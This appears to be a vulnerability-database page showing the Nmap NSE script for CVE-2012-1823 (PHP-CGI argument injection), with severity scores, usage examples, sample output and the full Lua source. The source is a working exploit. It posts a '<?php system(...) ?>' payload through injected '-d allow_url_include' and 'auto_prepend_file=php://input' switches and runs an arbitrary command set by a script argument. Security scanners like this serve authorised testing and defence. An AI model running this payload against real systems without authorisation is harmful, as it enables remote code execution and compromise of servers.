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Paulino Calderon <calderon@websec.mx>, Paul AMAR <aos.paul@gmail.com>NMAP:HTTP-VULN-CVE2012-1823.NSE
HistoryMay 08, 2012 - 5:56 a.m.

http-vuln-cve2012-1823 NSE Script

2012-05-0805:56:04
Paulino Calderon <calderon@websec.mx>, Paul AMAR <aos.paul@gmail.com>
nmap.org
583

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This critical vulnerability allows attackers to retrieve source code and execute code remotely.

The script works by appending “?-s” to the uri to make vulnerable php-cgi handlers return colour syntax highlighted source. We use the pattern “<span style=.*>&lt;?” to detect vulnerable installations.

Script Arguments

http-vuln-cve2012-1823.uri

URI. Default: /index.php

http-vuln-cve2012-1823.cmd

CMD. Default: uname -a

slaxml.debug

See the documentation for the slaxml library.

http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent

See the documentation for the http library.

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername

See the documentation for the smbauth library.

vulns.short, vulns.showall

See the documentation for the vulns library.

Example Usage

nmap -sV --script http-vuln-cve2012-1823 &lt;target&gt;
nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php &lt;target&gt;

Script Output

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-vuln-cve2012-1823:
|   VULNERABLE:
|   PHP-CGI Remote code execution and source code disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:2012-1823
|     Description:
|       According to PHP's website, "PHP is a widely-used general-purpose
|       scripting language that is especially suited for Web development and
|       can be embedded into HTML." When PHP is used in a CGI-based setup
|       (such as Apache's mod_cgid), the php-cgi receives a processed query
|       string parameter as command line arguments which allows command-line
|       switches, such as -s, -d or -c to be passed to the php-cgi binary,
|       which can be exploited to disclose source code and obtain arbitrary
|       code execution.
|     Disclosure date: 2012-05-03
|     Extra information:
|       Proof of Concept:/index.php?-s
|     References:
|       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
|       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
|_      http://ompldr.org/vZGxxaQ

Requires


local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"

description = [[
Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This
critical vulnerability allows attackers to retrieve source code and execute
code remotely.

The script works by appending "?-s" to the uri to make vulnerable php-cgi
handlers return colour syntax highlighted source. We use the pattern "<span
style=.*>&lt;?" to detect
vulnerable installations.
]]

---
-- @usage
-- nmap -sV --script http-vuln-cve2012-1823 <target>
-- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php <target>
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-vuln-cve2012-1823:
-- |   VULNERABLE:
-- |   PHP-CGI Remote code execution and source code disclosure
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:2012-1823
-- |     Description:
-- |       According to PHP's website, "PHP is a widely-used general-purpose
-- |       scripting language that is especially suited for Web development and
-- |       can be embedded into HTML." When PHP is used in a CGI-based setup
-- |       (such as Apache's mod_cgid), the php-cgi receives a processed query
-- |       string parameter as command line arguments which allows command-line
-- |       switches, such as -s, -d or -c to be passed to the php-cgi binary,
-- |       which can be exploited to disclose source code and obtain arbitrary
-- |       code execution.
-- |     Disclosure date: 2012-05-03
-- |     Extra information:
-- |       Proof of Concept:/index.php?-s
-- |     References:
-- |       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
-- |_      http://ompldr.org/vZGxxaQ
--
-- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
-- @args http-vuln-cve2012-1823.cmd CMD. Default: uname -a
---

author = {"Paulino Calderon <calderon@websec.mx>", "Paul AMAR <aos.paul@gmail.com>"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit","vuln","intrusive"}


portrule = shortport.http

action = function(host, port)
  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname -a"

  local vuln = {
       title = 'PHP-CGI Remote code execution and source code disclosure',
       state = vulns.STATE.NOT_VULN, -- default
       IDS = {CVE = '2012-1823'},
       description = [[
According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.]],
       references = {
          'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/',
           'http://ompldr.org/vZGxxaQ',
       },
       dates = {
           disclosure = {year = '2012', month = '05', day = '03'},
       },
     }
  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

  stdnse.debug2("Trying detection using echo command")
  local detection_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('echo NmapCVEIdentification');die(); ?>")
  if detection_session and detection_session.status == 200 then
    if string.match(detection_session.body, "NmapCVEIdentification") then
      stdnse.debug1("The website seems vulnerable to CVE-2012-1823.")
    else
      return
    end
  end

  stdnse.debug2("Trying Command... " .. cmd)
  local exploitation_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('"..cmd.."');die(); ?>")
  if exploitation_session and exploitation_session.status == 200 then
    stdnse.debug1("Ouput of the command " .. cmd .. " : \n"..exploitation_session.body)
    vuln.state = vulns.STATE.EXPLOIT
    return vuln_report:make_output(exploitation_session.body)
  end
end
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9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

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